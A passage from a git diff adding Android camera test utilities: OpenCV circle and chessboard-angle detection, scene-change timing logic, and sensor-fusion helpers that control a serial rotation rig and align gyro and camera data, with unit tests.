+      self.xnorm = (top_left[0]) / scene.shape[1]
+      self.ynorm = (top_left[1]) / scene.shape[0]
+
+
+def component_shape(contour):
+  """Measure the shape of a connected component.
+
+  Args:
+    contour: return from cv2.findContours. A list of pixel coordinates of
+    the contour.
+
+  Returns:
+    The most left, right, top, bottom pixel location, height, width, and
+    the center pixel location of the contour.
+  """
+  shape = {'left': numpy.inf, 'right': 0, 'top': numpy.inf, 'bottom': 0,
+           'width': 0, 'height': 0, 'ctx': 0, 'cty': 0}
+  for pt in contour:
+    if pt[0][0] < shape['left']:
+      shape['left'] = pt[0][0]
+    if pt[0][0] > shape['right']:
+      shape['right'] = pt[0][0]
+    if pt[0][1] < shape['top']:
+      shape['top'] = pt[0][1]
+    if pt[0][1] > shape['bottom']:
+      shape['bottom'] = pt[0][1]
+  shape['width'] = shape['right'] - shape['left'] + 1
+  shape['height'] = shape['bottom'] - shape['top'] + 1
+  shape['ctx'] = (shape['left'] + shape['right']) // 2
+  shape['cty'] = (shape['top'] + shape['bottom']) // 2
+  return shape
+
+
+def find_circle(img, img_name, min_area, color):
+  """Find the circle in the test image.
+
+  Args:
+    img: numpy image array in RGB, with pixel values in [0,255].
+    img_name: string with image info of format and size.
+    min_area: float of minimum area of circle to find
+    color: int of [0 or 255] 0 is black, 255 is white
+
+  Returns:
+    circle = {'x', 'y', 'r', 'w', 'h', 'x_offset', 'y_offset'}
+  """
+  circle = {}
+  img_size = img.shape
+  if img_size[0]*img_size[1] >= LOW_RES_IMG_THRESH:
+    circlish_atol = CIRCLISH_ATOL
+  else:
+    circlish_atol = CIRCLISH_LOW_RES_ATOL
+
+  # convert to gray-scale image
+  img_gray = numpy.dot(img[..., :3], RGB_GRAY_WEIGHTS)
+
+  # otsu threshold to binarize the image
+  _, img_bw = cv2.threshold(numpy.uint8(img_gray), 0, 255,
+                            cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+
+  # find contours
+  contours = find_all_contours(255-img_bw)
+
+  # Check each contour and find the circle bigger than min_area
+  num_circles = 0
+  logging.debug('Initial number of contours: %d', len(contours))
+  for contour in contours:
+    area = cv2.contourArea(contour)
+    num_pts = len(contour)
+    if (area > img_size[0]*img_size[1]*min_area and
+        num_pts >= CIRCLE_MIN_PTS):
+      shape = component_shape(contour)
+      radius = (shape['width'] + shape['height']) / 4
+      colour = img_bw[shape['cty']][shape['ctx']]
+      circlish = (math.pi * radius**2) / area
+      aspect_ratio = shape['width'] / shape['height']
+      logging.debug('Potential circle found. radius: %.2f, color: %d,'
+                    'circlish: %.3f, ar: %.3f, pts: %d', radius, colour,
+                    circlish, aspect_ratio, num_pts)
+      if (colour == color and
+          numpy.isclose(1.0, circlish, atol=circlish_atol) and
+          numpy.isclose(1.0, aspect_ratio, atol=CIRCLE_AR_ATOL) and
+          num_pts/radius >= CIRCLE_RADIUS_NUMPTS_THRESH):
+
+        # Populate circle dictionary
+        circle['x'] = shape['ctx']
+        circle['y'] = shape['cty']
+        circle['r'] = (shape['width'] + shape['height']) / 4
+        circle['w'] = float(shape['width'])
+        circle['h'] = float(shape['height'])
+        circle['x_offset'] = (shape['ctx'] - img_size[1]//2) / circle['w']
+        circle['y_offset'] = (shape['cty'] - img_size[0]//2) / circle['h']
+        logging.debug('Num pts: %d', num_pts)
+        logging.debug('Aspect ratio: %.3f', aspect_ratio)
+        logging.debug('Circlish value: %.3f', circlish)
+        logging.debug('Location: %.1f x %.1f', circle['x'], circle['y'])
+        logging.debug('Radius: %.3f', circle['r'])
+        logging.debug('Circle center position wrt to image center:%.3fx%.3f',
+                      circle['x_offset'], circle['y_offset'])
+        num_circles += 1
+        # if more than one circle found, break
+        if num_circles == 2:
+          break
+
+  if num_circles == 0:
+    image_processing_utils.write_image(img/255, img_name, True)
+    raise AssertionError('No black circle detected. '
+                         'Please take pictures according to instructions.')
+
+  if num_circles > 1:
+    image_processing_utils.write_image(img/255, img_name, True)
+    raise AssertionError('More than 1 black circle detected. '
+                         'Background of scene may be too complex.')
+
+  return circle
+
+
+def append_circle_center_to_img(circle, img, img_name):
+  """Append circle center and image center to image and save image.
+
+  Draws line from circle center to image center and then labels end-points.
+  Adjusts text positioning depending on circle center wrt image center.
+  Moves text position left/right half of up/down movement for visual aesthetics.
+
+  Args:
+    circle: dict with circle location vals.
+    img: numpy float image array in RGB, with pixel values in [0,255].
+    img_name: string with image info of format and size.
+  """
+  line_width_scaling_factor = 500
+  text_move_scaling_factor = 3
+  img_size = img.shape
+  img_center_x = img_size[1]//2
+  img_center_y = img_size[0]//2
+
+  # draw line from circle to image center
+  line_width = int(max(1, max(img_size)//line_width_scaling_factor))
+  font_size = line_width // 2
+  move_text_dist = line_width * text_move_scaling_factor
+  cv2.line(img, (circle['x'], circle['y']), (img_center_x, img_center_y),
+           CV2_RED, line_width)
+
+  # adjust text location
+  move_text_right_circle = -1
+  move_text_right_image = 2
+  if circle['x'] > img_center_x:
+    move_text_right_circle = 2
+    move_text_right_image = -1
+
+  move_text_down_circle = -1
+  move_text_down_image = 4
+  if circle['y'] > img_center_y:
+    move_text_down_circle = 4
+    move_text_down_image = -1
+
+  # add circles to end points and label
+  radius_pt = line_width * 2  # makes a dot 2x line width
+  filled_pt = -1  # cv2 value for a filled circle
+  # circle center
+  cv2.circle(img, (circle['x'], circle['y']), radius_pt, CV2_RED, filled_pt)
+  text_circle_x = move_text_dist * move_text_right_circle + circle['x']
+  text_circle_y = move_text_dist * move_text_down_circle + circle['y']
+  cv2.putText(img, 'circle center', (text_circle_x, text_circle_y),
+              cv2.FONT_HERSHEY_SIMPLEX, font_size, CV2_RED, line_width)
+  # image center
+  cv2.circle(img, (img_center_x, img_center_y), radius_pt, CV2_RED, filled_pt)
+  text_imgct_x = move_text_dist * move_text_right_image + img_center_x
+  text_imgct_y = move_text_dist * move_text_down_image + img_center_y
+  cv2.putText(img, 'image center', (text_imgct_x, text_imgct_y),
+              cv2.FONT_HERSHEY_SIMPLEX, font_size, CV2_RED, line_width)
+  image_processing_utils.write_image(img/255, img_name, True)  # [0, 1] values
+
+
+def get_angle(input_img):
+  """Computes anglular inclination of chessboard in input_img.
+
+  Args:
+    input_img (2D numpy.ndarray): Grayscale image stored as a 2D numpy array.
+  Returns:
+    Median angle of squares in degrees identified in the image.
+
+  Angle estimation algorithm description:
+    Input: 2D grayscale image of chessboard.
+    Output: Angle of rotation of chessboard perpendicular to
+            chessboard. Assumes chessboard and camera are parallel to
+            each other.
+
+    1) Use adaptive threshold to make image binary
+    2) Find countours
+    3) Filter out small contours
+    4) Filter out all non-square contours
+    5) Compute most common square shape.
+        The assumption here is that the most common square instances are the
+        chessboard squares. We've shown that with our current tuning, we can
+        robustly identify the squares on the sensor fusion chessboard.
+    6) Return median angle of most common square shape.
+
+  USAGE NOTE: This function has been tuned to work for the chessboard used in
+  the sensor_fusion tests. See images in test_images/rotated_chessboard/ for
+  sample captures. If this function is used with other chessboards, it may not
+  work as expected.
+  """
+  # Tuning parameters
+  square_area_min = (float)(input_img.shape[1] * SQUARE_AREA_MIN_REL)
+
+  # Creates copy of image to avoid modifying original.
+  img = numpy.array(input_img, copy=True)
+
+  # Scale pixel values from 0-1 to 0-255
+  img *= 255
+  img = img.astype(numpy.uint8)
+  img_thresh = cv2.adaptiveThreshold(
+      img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 201, 2)
+
+  # Find all contours.
+  contours = find_all_contours(img_thresh)
+
+  # Filter contours to squares only.
+  square_contours = []
+  for contour in contours:
+    rect = cv2.minAreaRect(contour)
+    _, (width, height), angle = rect
+
+    # Skip non-squares
+    if not numpy.isclose(width, height, rtol=SQUARE_TOL):
+      continue
+
+    # Remove very small contours: usually just tiny dots due to noise.
+    area = cv2.contourArea(contour)
+    if area < square_area_min:
+      continue
+
+    square_contours.append(contour)
+
+  areas = []
+  for contour in square_contours:
+    area = cv2.contourArea(contour)
+    areas.append(area)
+
+  median_area = numpy.median(areas)
+
+  filtered_squares = []
+  filtered_angles = []
+  for square in square_contours:
+    area = cv2.contourArea(square)
+    if not numpy.isclose(area, median_area, rtol=SQUARE_TOL):
+      continue
+
+    filtered_squares.append(square)
+    _, (width, height), angle = cv2.minAreaRect(square)
+    filtered_angles.append(angle)
+
+  if len(filtered_angles) < ANGLE_NUM_MIN:
+    logging.debug(
+        'A frame had too few angles to be processed. '
+        'Num of angles: %d, MIN: %d', len(filtered_angles), ANGLE_NUM_MIN)
+    return None
+
+  return numpy.median(filtered_angles)
+
+
+class Cv2ImageProcessingUtilsTests(unittest.TestCase):
+  """Unit tests for this module."""
+
+  def test_get_angle_identify_unrotated_chessboard_angle(self):
+    normal_img_path = os.path.join(
+        TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
+    wide_img_path = os.path.join(
+        TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
+    normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
+    wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
+    normal_angle = get_angle(normal_img)
+    wide_angle = get_angle(wide_img)
+    e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
+    self.assertEqual(get_angle(normal_img), 0, e_msg)
+    self.assertEqual(get_angle(wide_img), 0, e_msg)
+
+  def test_get_angle_identify_rotated_chessboard_angle(self):
+    # Array of the image files and angles containing rotated chessboards.
+    test_cases = [
+        ('_15_ccw', 15),
+        ('_30_ccw', 30),
+        ('_45_ccw', 45),
+        ('_60_ccw', 60),
+        ('_75_ccw', 75),
+        ('_90_ccw', 90)
+    ]
+
+    # For each rotated image pair (normal, wide), check angle against expected.
+    for suffix, angle in test_cases:
+      # Define image paths.
+      normal_img_path = os.path.join(
+          TEST_IMG_DIR, f'rotated_chessboards/normal{suffix}.jpg')
+      wide_img_path = os.path.join(
+          TEST_IMG_DIR, f'rotated_chessboards/wide{suffix}.jpg')
+
+      # Load and color-convert images.
+      normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
+      wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
+
+      # Assert angle as expected.
+      normal_angle = get_angle(normal_img)
+      wide_angle = get_angle(wide_img)
+      e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
+      self.assertTrue(
+          numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
+      self.assertTrue(
+          numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS/utils/scene_change_utils.py b/apps/CameraITS/utils/scene_change_utils.py
new file mode 100644
index 0000000..fca397b
--- /dev/null
+++ b/apps/CameraITS/utils/scene_change_utils.py
@@ -0,0 +1,125 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions for scene change test."""
+
+
+import logging
+import unittest
+
+_DARK_SCENE_THRESH = 0.2
+_FPS = 30  # Frames Per Second
+_FRAME_SHIFT_SMALL = 5  # Num of frames to shift if scene or brightness change.
+_FRAME_SHIFT_LARGE = 30  # Num of frames to shift if no change in capture.
+SCENE_CHANGE_FAIL_CODE = -1001
+SCENE_CHANGE_PASS_CODE = 1001
+
+
+def calc_timing_adjustment(converged, scene_change_flag,
+                           bright_change_flag, bright_final):
+  """Calculate timing adjustment based on converged frame and flags.
+
+  Args:
+    converged: Boolean on whether 3A converged or not.
+    scene_change_flag: Boolean for if afSceneChanged triggered.
+    bright_change_flag: Boolean for if image brightness changes.
+    bright_final: Float for average value of center patch of final frame.
+  Returns:
+    scene_change_timing_shift: Timing shift in frames.
+
+  Does timing adjustment based on input values from captured frames.
+    Truth table for 3A frame, Change flag, Bright flag, Last frame brightness
+      3, C, B, L
+      1, 1, 1, X --> PASS: 3A settled, scene and brightness change
+      1, 1, 0, X --> FAIL: 3A settled, scene change, but no brightness change
+      1, 0, 1, X --> shift FRAME_SHIFT_SMALL earlier
+      1, 0, 0, 1 --> shift FRAME_SHIFT_LARGE earlier
+      1, 0, 0, 0 --> shift FRAME_SHIFT_LARGE later
+      0, X, 1, X --> shift FRAME_SHIFT_SMALL later
+      0, X, 0, X --> FAIL: Check results of scene2/test_continuous_picture.
+    Note: these values have been found empirically for 4 different phone
+          models and 8 cameras. It is possible they may need to be tweaked as
+          more phone models become available.
+  """
+  if converged:  # 3A converges
+    if scene_change_flag:
+      if bright_change_flag:  # scene_change_flag & brightness change --> PASS
+        logging.debug('Scene & brightness change: PASS.')
+        return SCENE_CHANGE_PASS_CODE
+      else:  # scene_change_flag & no brightness change --> FAIL
+        scene_change_frame_shift = SCENE_CHANGE_FAIL_CODE
+        logging.error('Scene change, but no brightness change.')
+    else:  # No scene change flag: shift timing
+      if bright_change_flag:
+        scene_change_frame_shift = -1 * _FRAME_SHIFT_SMALL
+        logging.debug('No scene change flag, but brightness change.')
+      else:
+        logging.debug('No scene change flag, no brightness change.')
+        if bright_final < _DARK_SCENE_THRESH:
+          scene_change_frame_shift = _FRAME_SHIFT_LARGE
+          logging.debug('Scene dark entire capture.')
+        else:
+          scene_change_frame_shift = -1 * _FRAME_SHIFT_LARGE
+          logging.debug('Scene light entire capture.')
+  else:  # 3A does not converge.
+    if bright_change_flag:
+      scene_change_frame_shift = _FRAME_SHIFT_SMALL
+      logging.debug('3A does not converge, but brightness changes.')
+    else:
+      scene_change_frame_shift = SCENE_CHANGE_FAIL_CODE
+      logging.error('3A does not converge, and brightness does not change.')
+  if scene_change_frame_shift >= 0:
+    logging.debug('Shift +%d frames.', scene_change_frame_shift)
+  else:
+    logging.debug('Shift %d frames.', scene_change_frame_shift)
+  return scene_change_frame_shift
+
+
+class ItsSessionUtilsTests(unittest.TestCase):
+  """Unit tests for this module."""
+
+  def test_calc_timing_adjustment_shift(self):
+    results = {}
+    expected_results = {'1111': SCENE_CHANGE_PASS_CODE,
+                        '1110': SCENE_CHANGE_PASS_CODE,
+                        '1101': SCENE_CHANGE_FAIL_CODE,
+                        '1100': SCENE_CHANGE_FAIL_CODE,
+                        '1011': -1*_FRAME_SHIFT_SMALL,
+                        '1010': -1*_FRAME_SHIFT_SMALL,
+                        '1001': -1*_FRAME_SHIFT_LARGE,
+                        '1000': _FRAME_SHIFT_LARGE,
+                        '0111': _FRAME_SHIFT_SMALL,
+                        '0110': _FRAME_SHIFT_SMALL,
+                        '0101': SCENE_CHANGE_FAIL_CODE,
+                        '0100': SCENE_CHANGE_FAIL_CODE,
+                        '0011': _FRAME_SHIFT_SMALL,
+                        '0010': _FRAME_SHIFT_SMALL,
+                        '0001': SCENE_CHANGE_FAIL_CODE,
+                        '0000': SCENE_CHANGE_FAIL_CODE,
+                        }
+    converged_list = [1, 0]
+    scene_change_flag_list = [1, 0]
+    bright_change_flag_list = [1, 0]
+    bright_final_list = [1, 0]
+    for converged in converged_list:
+      for scene_flag in scene_change_flag_list:
+        for bright_flag in bright_change_flag_list:
+          for bright_final in bright_final_list:
+            key = f'{converged}{scene_flag}{bright_flag}{bright_final}'
+            results[key] = calc_timing_adjustment(converged, scene_flag,
+                                                  bright_flag, bright_final)
+    self.assertEqual(results, expected_results)
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CameraITS/utils/sensor_fusion_utils.py b/apps/CameraITS/utils/sensor_fusion_utils.py
new file mode 100644
index 0000000..6ce53b1
--- /dev/null
+++ b/apps/CameraITS/utils/sensor_fusion_utils.py
@@ -0,0 +1,499 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions for sensor_fusion hardware rig."""
+
+
+import bisect
+import codecs
+import logging
+import struct
+import time
+import unittest
+
+import numpy as np
+import scipy.spatial
+import serial
+from serial.tools import list_ports
+
+# Constants for Rotation Rig
+ARDUINO_ANGLE_MAX = 180.0  # degrees
+ARDUINO_ANGLES = [0]*5 +list(range(0, 90, 3)) + [90]*5 +list(range(90, -1, -3))
+ARDUINO_BAUDRATE = 9600
+ARDUINO_CMD_LENGTH = 3
+ARDUINO_CMD_TIME = 2.0 * ARDUINO_CMD_LENGTH / ARDUINO_BAUDRATE  # round trip
+ARDUINO_MOVE_TIME = 0.06 - ARDUINO_CMD_TIME  # seconds
+ARDUINO_PID = 0x0043
+ARDUINO_START_BYTE = 255
+ARDUINO_START_NUM_TRYS = 3
+ARDUINO_TEST_CMD = (b'\x01', b'\x02', b'\x03')
+ARDUINO_VALID_CH = ('1', '2', '3', '4', '5', '6')
+ARDUINO_VIDS = (0x2341, 0x2a03)
+
+CANAKIT_BAUDRATE = 115200
+CANAKIT_CMD_TIME = 0.05  # seconds (found experimentally)
+CANAKIT_DATA_DELIMITER = '\r\n'
+CANAKIT_PID = 0xfc73
+CANAKIT_SEND_TIMEOUT = 0.02  # seconds
+CANAKIT_SET_CMD = 'REL'
+CANAKIT_SLEEP_TIME = 2  # seconds (for full 90 degree rotation)
+CANAKIT_VALID_CMD = ('ON', 'OFF')
+CANAKIT_VALID_CH = ('1', '2', '3', '4')
+CANAKIT_VID = 0x04d8
+
+HS755HB_ANGLE_MAX = 202.0  # throw for rotation motor in degrees
+
+_COARSE_FIT_RANGE = 20  # Range area around coarse fit to do optimization.
+_CORR_TIME_OFFSET_MAX = 50  # ms max shift to try and match camera/gyro times.
+_CORR_TIME_OFFSET_STEP = 0.5  # ms step for shifts.
+
+# Unit translators
+_MSEC_TO_NSEC = 1000000
+_NSEC_TO_SEC = 1E-9
+_SEC_TO_NSEC = int(1/_NSEC_TO_SEC)
+
+
+def serial_port_def(name):
+  """Determine the serial port and open.
+
+  Args:
+    name: string of device to locate (ie. 'Arduino', 'Canakit' or 'Default')
+  Returns:
+    serial port object
+  """
+  serial_port = None
+  devices = list_ports.comports()
+  for device in devices:
+    if not (device.vid and device.pid):  # Not all comm ports have vid and pid
+      continue
+    if name.lower() == 'arduino':
+      if (device.vid in ARDUINO_VIDS and device.pid == ARDUINO_PID):
+        logging.debug('Arduino: %s', str(device))
+        serial_port = device.device
+        return serial.Serial(serial_port, ARDUINO_BAUDRATE, timeout=1)
+
+    elif name.lower() in ('canakit', 'default'):
+      if (device.vid == CANAKIT_VID and device.pid == CANAKIT_PID):
+        logging.debug('Canakit: %s', str(device))
+        serial_port = device.device
+        return serial.Serial(serial_port, CANAKIT_BAUDRATE,
+                             timeout=CANAKIT_SEND_TIMEOUT,
+                             parity=serial.PARITY_EVEN,
+                             stopbits=serial.STOPBITS_ONE,
+                             bytesize=serial.EIGHTBITS)
+  raise ValueError(f'{name} device not connected.')
+
+
+def canakit_cmd_send(canakit_serial_port, cmd_str):
+  """Wrapper for sending serial command to Canakit.
+
+  Args:
+    canakit_serial_port: port to write for canakit
+    cmd_str: str; value to send to device.
+  """
+  try:
+    logging.debug('writing port...')
+    canakit_serial_port.write(CANAKIT_DATA_DELIMITER.encode())
+    time.sleep(CANAKIT_CMD_TIME)  # This is critical for relay.
+    canakit_serial_port.write(cmd_str.encode())
+
+  except IOError:
+    raise IOError(f'Port {CANAKIT_VID}:{CANAKIT_PID} is not open!')
+
+
+def canakit_set_relay_channel_state(canakit_port, ch, state):
+  """Set Canakit relay channel and state.
+
+  Waits CANAKIT_SLEEP_TIME for rotation to occur.
+
+  Args:
+    canakit_port: serial port object for the Canakit port.
+    ch: string for channel number of relay to set. '1', '2', '3', or '4'
+    state: string of either 'ON' or 'OFF'
+  """
+  logging.debug('Setting relay state %s', state)
+  if ch in CANAKIT_VALID_CH and state in CANAKIT_VALID_CMD:
+    canakit_cmd_send(canakit_port, CANAKIT_SET_CMD + ch + '.' + state + '\r\n')
+    time.sleep(CANAKIT_SLEEP_TIME)
+  else:
+    logging.debug('Invalid ch (%s) or state (%s), no command sent.', ch, state)
+
+
+def arduino_read_cmd(port):
+  """Read back Arduino command from serial port."""
+  cmd = []
+  for _ in range(ARDUINO_CMD_LENGTH):
+    cmd.append(port.read())
+  return cmd
+
+
+def arduino_send_cmd(port, cmd):
+  """Send command to serial port."""
+  for i in range(ARDUINO_CMD_LENGTH):
+    port.write(cmd[i])
+
+
+def arduino_loopback_cmd(port, cmd):
+  """Send command to serial port."""
+  arduino_send_cmd(port, cmd)
+  time.sleep(ARDUINO_CMD_TIME)
+  return arduino_read_cmd(port)
+
+
+def establish_serial_comm(port):
+  """Establish connection with serial port."""
+  logging.debug('Establishing communication with %s', port.name)
+  trys = 1
+  hex_test = convert_to_hex(ARDUINO_TEST_CMD)
+  logging.debug(' test tx: %s %s %s', hex_test[0], hex_test[1], hex_test[2])
+  while trys <= ARDUINO_START_NUM_TRYS:
+    cmd_read = arduino_loopback_cmd(port, ARDUINO_TEST_CMD)
+    hex_read = convert_to_hex(cmd_read)
+    logging.debug(' test rx: %s %s %s', hex_read[0], hex_read[1], hex_read[2])
+    if cmd_read != list(ARDUINO_TEST_CMD):
+      trys += 1
+    else:
+      logging.debug(' Arduino comm established after %d try(s)', trys)
+      break
+
+
+def convert_to_hex(cmd):
+  return [('%0.2x' % int(codecs.encode(x, 'hex_codec'), 16) if x else '--')
+          for x in cmd]
+
+
+def arduino_rotate_servo_to_angle(ch, angle, serial_port, delay=0):
+  """Rotate servo to the specified angle.
+
+  Args:
+    ch: str; servo to rotate in ARDUINO_VALID_CH
+    angle: int; servo angle to move to
+    serial_port: object; serial port
+    delay: int; time in seconds
+  """
+  if angle < 0 or angle > ARDUINO_ANGLE_MAX:
+    logging.debug('Angle must be between 0 and %d.', ARDUINO_ANGLE_MAX)
+    angle = 0
+    if angle > ARDUINO_ANGLE_MAX:
+      angle = ARDUINO_ANGLE_MAX
+
+  cmd = [struct.pack('B', i) for i in [ARDUINO_START_BYTE, int(ch), angle]]
+  arduino_send_cmd(serial_port, cmd)
+  time.sleep(delay)
+
+
+def arduino_rotate_servo(ch, serial_port):
+  """Rotate servo between 0 --> 90 --> 0.
+
+  Args:
+    ch: str; servo to rotate
+    serial_port: object; serial port
+  """
+  for angle in ARDUINO_ANGLES:
+    angle_norm = int(round(angle*ARDUINO_ANGLE_MAX/HS755HB_ANGLE_MAX, 0))
+    arduino_rotate_servo_to_angle(
+        ch, angle_norm, serial_port, ARDUINO_MOVE_TIME)
+
+
+def rotation_rig(rotate_cntl, rotate_ch, num_rotations):
+  """Rotate the phone n times using rotate_cntl and rotate_ch defined.
+
+  rotate_ch is hard wired and must be determined from physical setup.
+
+  First initialize the port and send a test string defined by ARDUINO_TEST_CMD
+  to establish communications. Then rotate servo motor to origin position.
+
+  Args:
+    rotate_cntl: str to identify as 'arduino' or 'canakit' controller.
+    rotate_ch: str to identify rotation channel number.
+    num_rotations: int number of rotations.
+  """
+
+  logging.debug('Controller: %s, ch: %s', rotate_cntl, rotate_ch)
+  if rotate_cntl.lower() == 'arduino':
+    # identify port
+    arduino_serial_port = serial_port_def('Arduino')
+
+    # send test cmd to Arduino until cmd returns properly
+    establish_serial_comm(arduino_serial_port)
+
+    # initialize servo at origin
+    logging.debug('Moving servo to origin')
+    arduino_rotate_servo_to_angle(rotate_ch, 0, arduino_serial_port, 1)
+
+  elif rotate_cntl.lower() == 'canakit':
+    canakit_serial_port = serial_port_def('Canakit')
+
+  # rotate phone
+  logging.debug('Rotating phone %dx', num_rotations)
+  for _ in range(num_rotations):
+    if rotate_cntl == 'arduino':
+      arduino_rotate_servo(rotate_ch, arduino_serial_port)
+    else:
+      canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'ON')
+      canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'OFF')
+  logging.debug('Finished rotations')
+
+
+def get_gyro_rotations(gyro_events, cam_times):
+  """Get the rotation values of the gyro.
+
+  Integrates the gyro data between each camera frame to compute an angular
+  displacement.
+
+  Args:
+    gyro_events: List of gyro event objects.
+    cam_times: Array of N camera times, one for each frame.
+
+  Returns:
+    Array of N-1 gyro rotation measurements (rads/s).
+  """
+  gyro_times = np.array([e['time'] for e in gyro_events])
+  all_gyro_rots = np.array([e['z'] for e in gyro_events])
+  gyro_rots = []
+  if gyro_times[0] > cam_times[0] or gyro_times[-1] < cam_times[-1]:
+    raise AssertionError('Gyro times do not bound camera times! '
+                         f'gyro: {gyro_times[0]:.0f} -> {gyro_times[-1]:.0f} '
+                         f'cam: {cam_times[0]} -> {cam_times[-1]} (ns).')
+  # Integrate the gyro data between each pair of camera frame times.
+  for i_cam in range(len(cam_times)-1):
+    # Get the window of gyro samples within the current pair of frames.
+    # Note: bisect always picks first gyro index after camera time.
+    t_cam0 = cam_times[i_cam]
+    t_cam1 = cam_times[i_cam+1]
+    i_gyro_window0 = bisect.bisect(gyro_times, t_cam0)
+    i_gyro_window1 = bisect.bisect(gyro_times, t_cam1)
+    gyro_sum = 0
+
+    # Integrate samples within the window.
+    for i_gyro in range(i_gyro_window0, i_gyro_window1):
+      gyro_val = all_gyro_rots[i_gyro+1]
+      t_gyro0 = gyro_times[i_gyro]
+      t_gyro1 = gyro_times[i_gyro+1]
+      t_gyro_delta = (t_gyro1 - t_gyro0) * _NSEC_TO_SEC
+      gyro_sum += gyro_val * t_gyro_delta
+
+    # Handle the fractional intervals at the sides of the window.
+    for side, i_gyro in enumerate([i_gyro_window0-1, i_gyro_window1]):
+      gyro_val = all_gyro_rots[i_gyro+1]
+      t_gyro0 = gyro_times[i_gyro]
+      t_gyro1 = gyro_times[i_gyro+1]
+      t_gyro_delta = (t_gyro1 - t_gyro0) * _NSEC_TO_SEC
+      if side == 0:
+        f = (t_cam0 - t_gyro0) / (t_gyro1 - t_gyro0)
+        frac_correction = gyro_val * t_gyro_delta * (1.0 - f)
+        gyro_sum += frac_correction
+      else:
+        f = (t_cam1 - t_gyro0) / (t_gyro1 - t_gyro0)
+        frac_correction = gyro_val * t_gyro_delta * f
+        gyro_sum += frac_correction
+
+    gyro_rots.append(gyro_sum)
+  gyro_rots = np.array(gyro_rots)
+  return gyro_rots
+
+
+def get_best_alignment_offset(cam_times, cam_rots, gyro_events):
+  """Find the best offset to align the camera and gyro motion traces.
+
+  This function integrates the shifted gyro data between camera samples
+  for a range of candidate shift values, and returns the shift that
+  result in the best correlation.
+
+  Uses a correlation distance metric between the curves, where a smaller
+  value means that the curves are better-correlated.
+
+  Fits a curve to the correlation distance data to measure the minima more
+  accurately, by looking at the correlation distances within a range of
+  +/- 10ms from the measured best score; note that this will use fewer
+  than the full +/- 10 range for the curve fit if the measured score
+  (which is used as the center of the fit) is within 10ms of the edge of
+  the +/- 50ms candidate range.
+
+  Args:
+    cam_times: Array of N camera times, one for each frame.
+    cam_rots: Array of N-1 camera rotation displacements (rad).
+    gyro_events: List of gyro event objects.
+
+  Returns:
+    Best alignment offset(ms), fit coefficients, candidates, and distances.
+  """
+  # Measure the correlation distance over defined shift
+  shift_candidates = np.arange(-_CORR_TIME_OFFSET_MAX,
+                               _CORR_TIME_OFFSET_MAX+_CORR_TIME_OFFSET_STEP,
+                               _CORR_TIME_OFFSET_STEP).tolist()
+  spatial_distances = []
+  for shift in shift_candidates:
+    shifted_cam_times = cam_times + shift*_MSEC_TO_NSEC
+    gyro_rots = get_gyro_rotations(gyro_events, shifted_cam_times)
+    spatial_distance = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
+    logging.debug('shift %.1fms spatial distance: %.5f', shift,
+                  spatial_distance)
+    spatial_distances.append(spatial_distance)
+
+  best_corr_dist = min(spatial_distances)
+  coarse_best_shift = shift_candidates[spatial_distances.index(best_corr_dist)]
+  logging.debug('Best shift without fitting is %.4f ms', coarse_best_shift)
+
+  # Fit a 2nd order polynomial around coarse_best_shift to extract best fit
+  i = spatial_distances.index(best_corr_dist)
+  i_poly_fit_min = i - _COARSE_FIT_RANGE
+  i_poly_fit_max = i + _COARSE_FIT_RANGE + 1
+  shift_candidates = shift_candidates[i_poly_fit_min:i_poly_fit_max]
+  spatial_distances = spatial_distances[i_poly_fit_min:i_poly_fit_max]
+  fit_coeffs = np.polyfit(shift_candidates, spatial_distances, 2)  # ax^2+bx+c
+  exact_best_shift = -fit_coeffs[1]/(2*fit_coeffs[0])
+  if abs(coarse_best_shift - exact_best_shift) > 2.0:
+    raise AssertionError(
+        f'Test failed. Bad fit to time-shift curve. Coarse best shift: '
+        f'{coarse_best_shift}, Exact best shift: {exact_best_shift}.')
+  if fit_coeffs[0] <= 0 or fit_coeffs[2] <= 0:
+    raise AssertionError(
+        f'Coefficients are < 0: a: {fit_coeffs[0]}, c: {fit_coeffs[2]}.')
+
+  return exact_best_shift, fit_coeffs, shift_candidates, spatial_distances
+
+
+class SensorFusionUtilsTests(unittest.TestCase):
+  """Run a suite of unit tests on this module."""
+
+  _CAM_FRAME_TIME = 30 * _MSEC_TO_NSEC  # Similar to 30FPS
+  _CAM_ROT_AMPLITUDE = 0.04  # Empirical number for rotation per frame (rads/s).
+
+  def _generate_pwl_waveform(self, pts, step, amplitude):
+    """Helper function to generate piece wise linear waveform."""
